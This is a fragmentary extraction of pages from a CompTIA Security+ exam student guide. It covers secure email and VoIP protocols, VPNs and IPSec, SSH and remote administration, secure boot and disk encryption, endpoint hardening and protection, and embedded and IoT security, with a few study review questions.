LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 297
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
298 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
1. Alice sends Bob her digital certificate, containing her public key and validated
digital ID (an email address). She signs this message using her private key.
2. Bob uses the public key in the certificate to decode her signature and the
signature of the CA (or chain of CAs) validating her digital certificate and digital ID
and decides that he can trust Alice and her email address.
3. He responds with his digital certificate and public key and Alice, following the
same process, decides to trust Bob.
4. Both Alice and Bob now have one another's certificates in their trusted certificate
stores.
5. When Alice wants to send Bob a confidential message, she makes a hash of
the message and signs the hash using her private key. She then encrypts the
message, hash, and her public key using Bob's public key and sends a message to
Bob with this data as an S/MIME attachment.
6. Bob receives the message and decrypts the attachment using his private key.
He validates the signature and the integrity of the message by decrypting it with
Alice's public key and comparing her hash value with one he makes himself.
The Session Initiation Protocol (SIP) is one of the most widely used session control
protocols. SIP endpoints are the end-user devices (also known as user-agents), such
as IP-enabled handsets or client and server web conference software. Each device,
conference, or telephony user is assigned a unique SIP address known as a SIP Uniform
Resource Indicator (URI), such as sip:bob.dobbs@comptia.org
SIP endpoints can establish communications directly in a peer-to-peer architecture,
but it is more typical to use intermediary servers and directory servers. A SIP network
may also use gateways and private branch exchange (PBX) appliances to provide an
interface between the VoIP network and external telephone and cellular networks.
While SIP provides session management features, the actual delivery of real-time data
uses different protocols. The principal one is Real-time Transport Protocol (RTP).
A threat actor could exploit unencrypted voice and video communications to try
to intercept passwords, credit card details, and so on. Without strong mutual
authentication, connections are also vulnerable to man-in-the-middle attacks.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 299
Connection security for voice and video works in a similar manner to HTTPS. To initiate
the call, the secure version SIPS uses digital certificates to authenticate the endpoints
and establish a TLS tunnel. Where unencrypted SIP typically runs over TCP port 5060,
SIPS uses TCP port 5061. The secure connection established by SIPS can also be used
to generate a master key to use with the secure versions of the transport protocol
(SRTP). SRTP provides confidentiality for the actual call data.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
300 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
Secure Application Protocols
Answer the following questions:
1. What type of attack against HTTPS aims to force the server to negotiate
weak ciphers?
2. A client and server have agreed on the use of the cipher suite ECDHE-ECDSA-
AES256- GCM-SHA384 for a TLS session. What is the key strength of the
symmetric encryption algorithm?
3. What security protocol does SFTP use to protect the connection and which
port does an SFTP server listen on by default?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 301
Topic 11C
Implement Secure Remote
Access Protocols
With today's mobile workforce, most networks have to support connections by remote
employees, contractors, and customers to their network resources. These remote
connections often make use of untrusted public networks, such as the Internet.
Consequently, understanding how to implement secure remote access protocols will
be a major part of your job as an information security professional.
There are also many cases where a user needs to remotely access an individual host.
This is most commonly implemented to allow administrators to perform remote
management of workstations, servers, and network appliances, but it can also be used
to provide ordinary users access to a desktop as well.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
302 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
A VPN can also be deployed in a site-to-site model to connect two or more private
networks. Where remote access VPN connections are typically initiated by the client, a
site-to-site VPN is configured to operate automatically. The gateways exchange security
information using whichever protocol the VPN is based on. This establishes a trust
relationship between the gateways and sets up a secure connection through which
to tunnel data. Hosts at each site do not need to be configured with any information
about the VPN. The routing infrastructure at each site determines whether to deliver
traffic locally or send it over the VPN tunnel.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 303
A TLS VPN (still more commonly referred to as an SSL VPN) requires a remote access
server listening on port 443 (or any arbitrary port number). The client makes a
connection to the server using TLS so that the server is authenticated to the client (and
optionally the client's certificate must be authenticated by the server). This creates
an encrypted tunnel for the user to submit authentication credentials, which would
normally be processed by a RADIUS server. Once the user is authenticated and the
connection fully established, the VPN gateway tunnels all communications for the local
network over the secure socket.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
304 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Configuring a client certificate for mutual authentication in the pfSense security appliance.
(Screenshot used with permission from Rubicon Communications, LLC.)
The port can be either TCP or UDP. UDP might be chosen for marginally superior
performance, especially when tunneling latency-sensitive traffic such as voice or video. TCP
might be easier to use with a default firewall policy. TLS over UDP is also referred to as
Datagram TLS (DTLS).
OpenVPN is an open source example of a TLS VPN (openvpn.net). OpenVPN can work
in TAP (bridged) mode to tunnel layer 2 frames or in TUN (routed) mode to forward
IP packets. Another option is Microsoft's Secure Sockets Tunneling Protocol (SSTP),
which works by tunneling Point-to-Point Protocol (PPP) layer 2 frames over a TLS
session (docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sstp/70adc1df-
c4fe-4b02-8872-f1d8b9ad806a). The Point-to-Point Protocol (PPP) is a widely
used remote dial-in protocol. It provides encapsulation for IP traffic plus IP address
assignment and authentication via the widely supported Challenge Handshake
Authentication Protocol (CHAP).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 305
When IPv6 was being drafted, IPSec was considered a mandatory component as it was
felt that all traffic over the new protocol should be secure. In recent years, RFCs have been
revised so that now, IPSec is recommended for IPv6 but no longer mandatory (tools.ietf.org/
html/rfc6434#page-17).
Each host that uses IPSec must be assigned a policy. An IPSec policy sets the
authentication mechanism and also the protocols and mode for the connection. Hosts
must be able to match at least one matching security method for a connection to
be established. There are two core protocols in IPSec, which can be applied singly or
together, depending on the policy.
IPSec datagram using AH—The integrity of the payload and IP header is ensured by the
Integrity Check Value (ICV), but the payload is not encrypted.
IPSec datagram using ESP—The TCP header and payload from the original packet are
encapsulated within ESP and encrypted to provide confidentiality.
With ESP, algorithms for both confidentiality (symmetric cipher) and authentication/integrity
(hash function) are usually applied together. It is possible to use one or the other, however.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
306 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Configuring an IPSec tunnel with ESP encryption in the pfSense security appliance.
(Screenshot used with permission from Rubicon Communications, LLC.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 307
The principles underlying IPSec are the same for IPv4 and IPv6, but the header formats
are different. IPSec makes use of extension headers in IPv6 while in IPv4, ESP and AH are
allocated new IP protocol numbers (50 and 51), and either modify the original IP header or
encapsulate the original packet, depending on whether transport or tunnel mode is used.
2. Phase II uses the secure channel created in Phase 1 to establish which ciphers
and key sizes will be used with AH and/or ESP in the IPSec session.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
308 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
IKE v2
The drawbacks of the original version of IKE were addressed by an updated protocol.
IKE v2 has some additional features that have made the protocol popular for use as a
standalone remote access VPN solution. The main changes are:
• Support for EAP authentication methods, allowing, for example, user authentication
against a RADIUS server.
• Simplified connection set up—IKE v2 specifies a single 4-message setup mode,
reducing bandwidth without compromising security.
• Reliability—IKE v2 allows NAT traversal and MOBIKE multihoming. Multihoming
means that a client such as a smartphone with multiple interfaces (such as Wi-Fi and
cellular) can keep the IPSec connection alive when switching between them.
Compared to L2TP/IPSec, using IKE v2 is more efficient. This solution is becoming much
better supported, with native support in Windows 10, for instance.
Always-On VPN
Traditional remote access VPN solutions require the user to initiate the connection and
enter their authentication credentials. An always-on VPN means that the computer
establishes the VPN whenever an Internet connection over a trusted network is
detected, using the user's cached credentials to authenticate. Microsoft has an Always-
On VPN solution for Windows Server and Windows 10 clients (docs.microsoft.com/
en-us/windows-server/remote/remote-access/vpn/always-on-vpn/deploy/always-on-
vpn-deploy-deployment) and an OpenVPN client can be configured to autoconnect
(openvpn.net/vpn-server-resources/setting-your-client-to-automatically-connect-to-
your-vpn-when-your-computer-starts).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 309
• Full tunnel—Internet access is mediated by the corporate network, which will alter
the client's IP address and DNS servers and may use a proxy.
Full tunnel offers better security, but the network address translations and DNS
operations required may cause problems with some websites, especially cloud
services. It also means more data is channeled over the link.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
310 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Remote Desktop
A remote access VPN joins the user's PC or smartphone to the local network, via the
secure tunnel. Another model for remote networking involves connecting to a host
within the local network over a remote administration protocol. A protocol such as
Secure Shell (SSH) only supports terminal access, but there are many other tools that
can connect to a graphical desktop. A GUI remote administration tool sends screen and
audio data from the remote host to the client and transfers mouse and keyboard input
from the client to the remote host.
Microsoft's Remote Desktop Protocol (RDP) can be used to access a physical machine
on a one-to-one basis. Alternatively, the site can operate a remote desktop gateway
that facilitates access to virtual desktops or individual apps running on the network
servers (docs.microsoft.com/en-us/windows-server/remote/remote-desktop-services/
welcome-to-rds). There are several popular alternatives to Remote Desktop. Most
support remote access to platforms other than Windows (macOS and iOS, Linux,
Chrome OS, and Android for instance). Examples include TeamViewer (teamviewer.
com/en) and Virtual Network Computing (VNC), which is implemented by several
different providers (notably realvnc.com/en).
Traditionally, these remote desktop products require a client app. The canvas element
introduced in HTML5 allows a browser to draw and update a desktop with relatively
little lag. It can also handle audio. This is referred to as an HTML5 VPN or as a clientless
remote desktop gateway (guacamole.apache.org). This solution also uses a protocol
called WebSockets, which enables bidirectional messages to be sent between the
server and client without requiring the overhead of separate HTTP requests.
Out-of-Band Management
Remote management methods can be described as either in-band or out-of-
band (OOB). An in-band management link is one that shares traffic with other
communications on the "production" network. A serial console or modem port on a
router is a physically out-of-band management method. When using a browser-based
management interface or a virtual terminal over Ethernet and IP, the link can be
made out-of-band by connecting the port used for management access to physically
separate network infrastructure. This can be costly to implement, but out-of-band
management is more secure and means that access to the device is preserved when
there are problems affecting the production network. With an in-band connection,
better security can be implemented by using a VLAN to isolate management traffic.
This makes it harder for potential eavesdroppers to view or modify traffic passing over
the management interface. This sort of virtual OOB does still mean that access could
be compromised by a system-wide network failure, however.
Jump Servers
One of the challenges of managing hosts that are exposed to the Internet, such as in
a DMZ or cloud virtual network, is to provide administrative access to the servers and
appliances located within it. On the one hand, a link is necessary; on the other, the
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 311
Secure Shell
Secure Shell (SSH) is the principal means of obtaining secure remote access to a
command-line terminal. The main uses of SSH are for remote administration and
secure file transfer (SFTP). There are numerous commercial and open source SSH
products available for all the major NOS platforms. The most widely used is OpenSSH
(openssh.com).
SSH servers are identified by a public/private key pair (the host key). A mapping of host
names to public keys can be kept manually by each SSH client or there are various
enterprise software products designed for SSH host key management.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
312 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Confirming the SSH server's host key using the PuTTY SSH client
(Screenshot used with permission from PuTTY.)
The host key must be changed if any compromise of the host is suspected. If an attacker has
obtained the private key of a server or appliance, they can masquerade as that server or
appliance and perform a man-in-the-middle attack, usually with a view to obtaining other
network credentials.
The server's host key is used to set up a secure channel to use for the client to submit
authentication credentials.
• Public key authentication—each remote user's public key is added to a list of keys
authorized for each local account on the SSH server.
Managing valid client public keys is a critical security task. Many recent attacks on web
servers have exploited poor key management. If a user's private key is compromised, delete
the public key from the appliance then regenerate the key pair on the user's (remediated)
client device and copy the public key to the SSH server. Always delete public keys if the user's
access permissions have been revoked.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 313
SSH Commands
SSH commands are used to connect to hosts and set up authentication methods. To
connect to an SSH server at 10.1.0.10 using an account named "bobby" and password
authentication, run:
ssh bobby@10.1.0.10
The following commands create a new key pair and copy it to an account on the
remote server:
ssh-keygen -t rsa
ssh-copy-id bobby@10.1.0.10
At an SSH prompt, you can now use the standard Linux shell commands. Use exit to
close the connection.
You can also use the scp command to copy a file from the remote server to the
local host:
scp bobby@10.1.0.10:/logs/audit.log audit.log
Reverse the arguments to copy a file from the local host to the remote server. To copy
the contents of a directory and any subdirectories (recursively), use the -r option.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
314 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
Secure Remote Access Protocols
Answer the following questions:
1. True or false? A TLS VPN can only provide access to web-based network
resources.
3. What IPSec mode would you use for data confidentiality on a private
network?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 315
Lesson 11
Summary
You should be able to configure secure protocols for local network access and
management, application services, and remote access and management.
• Deploy certificates to email servers to use with secure SMTP, POP3, and IMAP.
• Deploy certificates or host keys to file servers to use with FTPS or SFTP.
• Deploy certificates to VoIP gateways and endpoints to use with SIPS and SRTP.
• Deploy certificates or shared keys to VPN gateways and clients for use with TLS
VPNs, IPSec, and L2TP/IPSec.
• Configure RDP gateways and SSH servers with certificates or host keys. Configure
client authentication using user credentials or public keys.
• Implement SAWs and out-of-band network interfaces or jump servers for secure
remote management of servers and network infrastructure.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Lesson 12
Implementing Host Security Solutions
LESSON INTRODUCTION
Effective network architecture design, protocol configuration, and the use of
appliances such as firewalls and intrusion detection help to provide a secure network
environment, but we also need to consider the security systems configured on
network hosts as well. Security procedures and solutions are complicated by the
range of different types of hosts that networks must support, from PCs and laptops to
smartphones and embedded controllers.
Lesson Objectives
In this lesson, you will:
• Implement secure firmware.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
318 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 12A
Implement Secure Firmware
The security of the hardware underpinning our network and computing devices is often
overlooked. In part, this is because it is difficult for most companies to make their own
investigations in this area. They have to rely on the market and security agencies to
identify bad actors in supply chains. Nevertheless, it is important that you understand
the issues involved in secure systems design so that you can evaluate product offerings
and make recommendations for purchasing and device configuration.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 319
The problem with establishing a hardware root of trust is that devices are used in
environments where anyone can get complete control over them. There cannot be
complete assurance that the firmware underpinning the hardware root of trust is
inviolable, but attacks against trusted modules are sufficiently difficult so as to provide
effective security in most cases.
Boot Integrity
Most PCs and smartphones implement the unified extensible firmware interface
(UEFI). UEFI provides code that allows the host to boot to an OS. UEFI can enforce a
number of boot integrity checks.
Secure Boot
Secure boot is designed to prevent a computer from being hijacked by a malicious OS.
UEFI is configured with digital certificates from valid OS vendors. The system firmware
checks the operating system boot loader and kernel using the stored certificate to
ensure that it has been digitally signed by the OS vendor. This prevents a boot loader
or kernel that has been changed by malware (or an OS installed without authorization)
from being used. Secure boot is supported on Windows (docs.microsoft.com/en-us/
windows/security/information-protection/secure-the-windows-10-boot-process) and
many Linux platforms (wiki.ubuntu.com/UEFI/SecureBoot). Secure boot requires UEFI,
but does not require a TPM.
Measured Boot
A trusted or measured boot process uses platform configuration registers (PCRs)
in the TPM at each stage in the boot process to check whether hashes of key system
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
320 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
state data (boot firmware, boot loader, OS kernel, and critical drivers) have changed.
This does not usually prevent boot, but it will record the presence of unsigned kernel-
level code.
Boot Attestation
Boot attestation is the capability to transmit a boot log report signed by the TPM via a
trusted process to a remote server, such as a network access control server. The boot
log can be analyzed for signs of compromise, such as the presence of unsigned drivers.
The host can be prevented from accessing the network if it does not meet the required
health policy or if no attestation report is received.
Configuring secure boot settings via an HP workstation's UEFI firmware setup program.
(Screenshot used with permission from HP.)
Disk Encryption
Full disk encryption (FDE) means that the entire contents of the drive (or volume),
including system files and folders, are encrypted. OS ACL-based security measures
are quite simple to circumvent if an adversary can attach the drive to a different host
OS. Drive encryption allays this security concern by making the contents of the drive
accessible only in combination with the correct encryption key. Disk encryption can be
applied to both hard disk drives (HDDs) and solid state drives (SSDs).
FDE requires the secure storage of the key used to encrypt the drive contents.
Normally, this is stored in a TPM. The TPM chip has a secure storage area that a disk
encryption program, such as Windows BitLocker, can write its keys to. It is also possible
to use a removable USB drive (if USB is a boot device option). As part of the setup
process, you create a recovery password or key. This can be used if the disk is moved
to another computer or the TPM is damaged.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 321
Activating BitLocker drive encryption. (Screenshot used with permission from Microsoft.)
One of the drawbacks of FDE is that, because the OS performs the cryptographic
operations, performance is reduced. This issue is mitigated by self-encrypting drives
(SED), where the cryptographic operations are performed by the drive controller. The
SED uses a symmetric data/media encryption key (DEK/MEK) for bulk encryption and
stores the DEK securely by encrypting it with an asymmetric key pair called either the
authentication key (AK) or key encryption key (KEK). Use of the AK is authenticated by
the user password. This means that the user password can be changed without having
to decrypt and re-encrypt the drive. Early types of SEDs used proprietary mechanisms,
but many vendors now develop to the Opal Storage Specification (nvmexpress.org/
wp-content/uploads/TCGandNVMe_Joint_White_Paper-TCG_Storage_Opal_and_NVMe_
FINAL.pdf), developed by the Trusted Computing Group (TCG).
As configuring passwords on individual drives is a huge challenge when more than a few
machines are involved, enterprises may use the Key Management Interoperability Protocol
(KMIP) along with a hardware security module (HSM) to automate the provisioning of
keys (trustedcomputinggroup.org/wp-content/uploads/SWG_TCG_Enterprise-Introduction_
Sept2010.pdf).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
322 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
the device. Look for command prompt windows or processes such as the command
interpreter starting and changes to the registry or other system files.
Not all attacks have to be so esoteric. USB sticks infected with ordinary malware are still
incredibly prolific infection vectors. Hosts should always be configured to prevent autorun
when USB devices are attached. USB ports can be blocked altogether using most types of
Host Intrusion Detection Systems (HIDS).
For most businesses, use of reputable OEMs will represent the best practical effort at
securing the supply chain. Government, military/security services, and large enterprises will
exercise greater scrutiny. Particular care should be taken if use is made of second-hand
machines.
When assessing suppliers for risk, it is helpful to distinguish two types of relationship:
• Vendor—this means a supplier of commodity goods and services, possibly with
some level of customization and direct support.
For example, Microsoft is a major software vendor, but it is not feasible for it to
establish direct relationships with all its potential customers. To expand its markets,
it develops partner relationships with original equipment manufacturers (OEMs) and
solution providers. Microsoft operates a program of certification and training for its
partners, which improves product support and security awareness.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 323
It is also possible for both open source and commercial projects to be abandoned; if a
company continues to rely on such abandonware, it will have to assume development
responsibility for it. There are many instances of applications and devices (peripheral
devices especially) that remain on sale with serious known vulnerabilities in firmware
or drivers and no prospect of vendor support for a fix. The problem is also noticeable
in consumer-grade networking appliances and in the Internet of Things. When
provisioning a supplier for applications and devices, it is vital to establish that they have
effective security management lifecycles for their products.
• Service level agreement (SLA)—A contractual agreement setting out the detailed
terms under which a service is provided.
A legal agreement is all very well, but it is still up to you to make sure that your
suppliers, vendors, and contractors can live up to it. If they can't, you may successfully
sue them, but if they go out of business, you are still accountable for their actions or
failures to act.
Conversely, you need to ensure that you can comply with the requirements and
performance standards of any agreements that you enter into as a service provider.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
324 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
Secure Firmware
Answer the following questions:
2. Why are OS-enforced file access controls not sufficient in the event of the
loss or theft of a computer or mobile device?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 325
Topic 12B
Implement Endpoint Security
Host hardware integrity is not of much use if the OS and applications software running
on it is weakly configured. As a security professional, you will often assist with drafting
configuration baselines, ensuring hosts comply with those baselines, and implementing
endpoint protection security agents.
Hardening
The process of putting an operating system or application in a secure configuration
is called hardening. When hardening a system, it is important to keep in mind its
intended use, because hardening a system can also restrict the system's access and
capabilities. The need for hardening must be balanced against the access requirements
and usability in a particular situation.
For an OS functioning in a given role, there will usually be a fairly standard series
of steps to follow to apply a secure configuration to allow the OS and applications
software to execute that role. Many of the requirements can be applied automatically
via a configuration baseline template. The essential principle is of least functionality;
that a system should run only the protocols and services required by legitimate users
and no more. This reduces the potential attack surface.
• Interfaces provide a connection to the network. Some machines may have more
than one interface. For example, there may be wired and wireless interfaces or a
modem interface. Some machines may come with a management network interface
card. If any of these interfaces are not required, they should be explicitly disabled
rather than simply left unused.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
326 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
It is also important to establish a maintenance cycle for each device and keep up to
date with new security threats and responses for the particular software products that
you are running.
Using Security Compliance Manager to compare settings in a production GPO with Microsoft's
template policy settings. (Screenshot used with permission from Microsoft.)
Patch Management
No operating system, software application, or firmware implementation is wholly free
from vulnerabilities. As soon as a vulnerability is identified, vendors will try to correct it.
At the same time, attackers will try to exploit it. Automated vulnerability scanners can
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 327
be effective at discovering missing patches for the operating system, plus a wide range
of third-party software apps and devices/firmware. Scanning is only useful if effective
procedures are in-place to apply the missing patches, however.
On residential and small networks, hosts will be configured to auto-update, meaning
that they check for and install patches automatically. The major OS and applications
software products are well-supported in terms of vendor-supplied fixes for security
issues. Enterprise networks need to be cautious about this sort of automated
deployment, however, as a patch that is incompatible with an application or workflow
can cause availability issues. There can also be performance and management issues
when multiple applications run update clients on the same host. For example, as well
as the OS updater, there is likely to be a security software update, browser updater,
Java updater, OEM driver updater, and so on. These issues can be mitigated by
deploying an enterprise patch management suite. Some suites, such as Microsoft’s
System Center Configuration Manager (SCCM)/Endpoint Manager (docs.microsoft.com/
en-us/mem/configmgr), are vendor-specific while others are designed to support third-
party applications and multiple OSs.
It can also be difficult to schedule patch operations, especially if applying the patch
is an availability risk to a critical system. If vulnerability assessments are continually
highlighting issues with missing patches, patch management procedures should
be upgraded. If the problem affects certain hosts only, it could be an indicator of
compromise that should be investigated more closely.
Patch management can also be difficult for legacy systems, proprietary systems, and
systems from vendors without robust security management plans, such as some types
of Internet of Things devices. These systems will need compensating controls, or some
other form of risk mitigation if patches are not readily available.
Endpoint Protection
Another crucial step in hardening is to configure endpoint protection for automatic
detection and prevention of malware threats. There have been many iterations of
host-based/endpoint protection suites and agents. It is important to consider the
contrasting functions performed, as individual software tools or protection suites often
combine multiple functionality.
Antivirus (A-V)/Anti-Malware
The first generation of anti-virus (A-V) software is characterized by signature-based
detection and prevention of known viruses. An "A-V" product will now perform
generalized malware detection, meaning not just viruses and worms, but also Trojans,
spyware, PUPs, cryptojackers, and so on. While A-V software remains important,
signature-based detection is widely recognized as being insufficient for the prevention
of data breaches.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
328 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
conflicts, creating numerous technical support incidents and security incident false
positives. An endpoint protection platform (EPP) is a single agent performing multiple
security tasks, including malware/intrusion detection and prevention, but also other
security features, such as a host firewall, web content filtering/secure search and
browsing, and file/message encryption.
2. Assign hosts to appropriate groups for policy assignment. For example, client
endpoints have very different security requirements to servers. While it may be
appropriate to use a preventative mechanism immediately to isolate a client
when a threat is detected, automatically doing this for a critical server could
cascade to loss of functionality across the network.
3. Test the different host group configuration settings to ensure that the expected
range of threats is detected.
4. Use a monitoring dashboard to verify status across all network hosts. Apart from
detection events, if the agent is disabled or missing, there should be an alert.
Note that managed detection and response (MDR) is a class of hosted security service
(digitalguardian.com/blog/what-managed-detection-and-response-definition-benefits-how-
choose-vendor-and-more).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 329
Antivirus Response
An on-access anti-virus scanner or intrusion prevention system works by identifying
when processes or scripts are executed and intercepting (or hooking) the call to scan
the code first. If the code matches a signature of known malware or exhibits malware-
like behavior that matches a heuristic profile, the scanner will prevent execution and
attempt to take the configured action on the host file (clean, quarantine, erase, and so
on). An alert will be displayed to the user and the action will be logged (and also may
generate an administrative alert). The malware will normally be tagged using a vendor
proprietary string and possibly by a CME (Common Malware Enumeration) identifier.
These identifiers can be used to research the symptoms of and methods used by
the malware. This may help to confirm the system is fully remediated and to identify
whether other systems have been infected. It is also important to trace the source of
the infection and ensure that it is blocked to prevent repeat attacks and outbreaks.
Sandboxing
Sandboxing is a technique that isolates an untrusted host or app in a segregated
environment to conduct tests. Sandbox environments intentionally limit interfaces with
the host environment. The analysis of files sent to a sandbox can include determining
whether the file is malicious, how it might have affected certain systems if run outside
of the sandbox, and what dependencies it might have with external files and hosts.
Sandboxes offer more than traditional anti-malware solutions because you can apply
a variety of different environments to the sandbox instead of just relying on how the
malware might exist in your current configuration.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
330 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
Endpoint Security
Answer the following questions:
5. If you suspect a process of being used for data exfiltration but the process is
not identified as malware by A-V software, what types of analysis tools will
be most useful?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 331
Topic 12C
Explain Embedded System
Security Implications
As well as the obvious computing hosts within your networks, you must also account
for the security of embedded systems. Embedded computing functionality can be
found in consumer electronics devices and in specialist monitoring and control
systems, so it is important that you know how to identify and secure these devices.
Embedded Systems
An embedded system is a complete computer system that is designed to perform a
specific, dedicated function. These systems can be as contained as a microcontroller
in an intravenous drip-rate meter or as large and complex as the network of control
devices managing a water treatment plant. Embedded systems can be characterized
as static environments. A PC is a dynamic environment. The user can add or remove
programs and data files, install new hardware components, and upgrade the operating
system. A static environment does not allow or require such frequent changes.
In terms of security this can be ideal, because unchanging environments are typically
easier to protect and defend. Static computing environments pose their own risks,
however. A static environment is often a black box to security administrators. Unlike
an OS environment such as Windows, there may be little support for identifying and
correcting security issues.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
332 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Implied trust means that every device that has been added to the network is trusted,
on the assumption that it was added and continues to be operated by a legitimate
administrator. Until there is widespread adoption of embedded TPM, embedded
networks have to rely on the perimeter security model.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 333
Cellular Networks
A cellular network enables long-distance communication over the same system that
supports mobile and smartphones. This is also called baseband radio, after the
baseband processor that performs the function of a cellular modem. There are several
baseband radio technologies:
• Narrowband-IoT (NB-IoT)—this refers to a low-power version of the Long Term
Evolution (LTE) or 4G cellular standard. The signal occupies less bandwidth than
regular cellular. This means that data rates are limited (20-100 kbps), but most
sensors need to send small packets with low latency, rather than making large data
transfers. Narrowband also has greater penetrating power, making it more suitable
for use in inaccessible locations, such as tunnels or deep within buildings, where
ordinary cellular connectivity would be impossible.
While not yet completely standardized, both NB-IoT and LTE-M are designed to be
compatible with 5G networks. This means they do not interfere with 5G signaling and
can use tower relays developed for 5G. They may support higher data rates, though
latency and reliability tend to be more important considerations.
Any LTE-based cellular radio uses a subscriber identity module (SIM) card as an
identifier. The SIM is issued by a cellular provider, with roaming to allow use of other
suppliers' tower relays. As a removable card is not really a suitable form factor for
embedded, an eSIM incorporates the same function as a chip on the system board or
SoC design.
Encryption of frames between the endpoint and the cell tower and within the backhaul
to Internet routers is the responsibility of the network operator. Over the air encryption
is performed by encryption schemes devised by the cellular standards body 3GPP.
Backhaul security is usually enforced using IPSec. The embedded system can use
application layer encryption for additional security.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
334 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
data bandwidth at the expense of range compared to Z-Wave and the greater risk of
interference from other 2.4 GHz radio communications. Zigbee supports more overall
devices within a single network and there is no hop limit for communication between
devices.
Both Z-Wave and Zigbee have communications encryption. The main threats are from
re-pairing attacks and from rogue devices. A re-pairing attack allows a threat actor
to discover the network key by forcing a device off the network, causing it to try to
re-connect (checkpoint.com/press/2020/the-dark-side-of-smart-lighting-check-point-
research-shows-how-business-and-home-networks-can-be-hacked-from-a-lightbulb). If
the user connects a rogue device to the network, the system depends on application-
level security to prevent the device from compromising higher value targets, such as a
smart hub, alarm, or door entry mechanism.
ICS/SCADA Applications
These types of systems are used within many sectors of industry:
• Energy refers to power generation and distribution. More widely, utilities includes
water/sewage and transportation networks.
• Industrial can refer specifically to the process of mining and refining raw materials,
involving hazardous high heat and pressure furnaces, presses, centrifuges, pumps,
and so on.
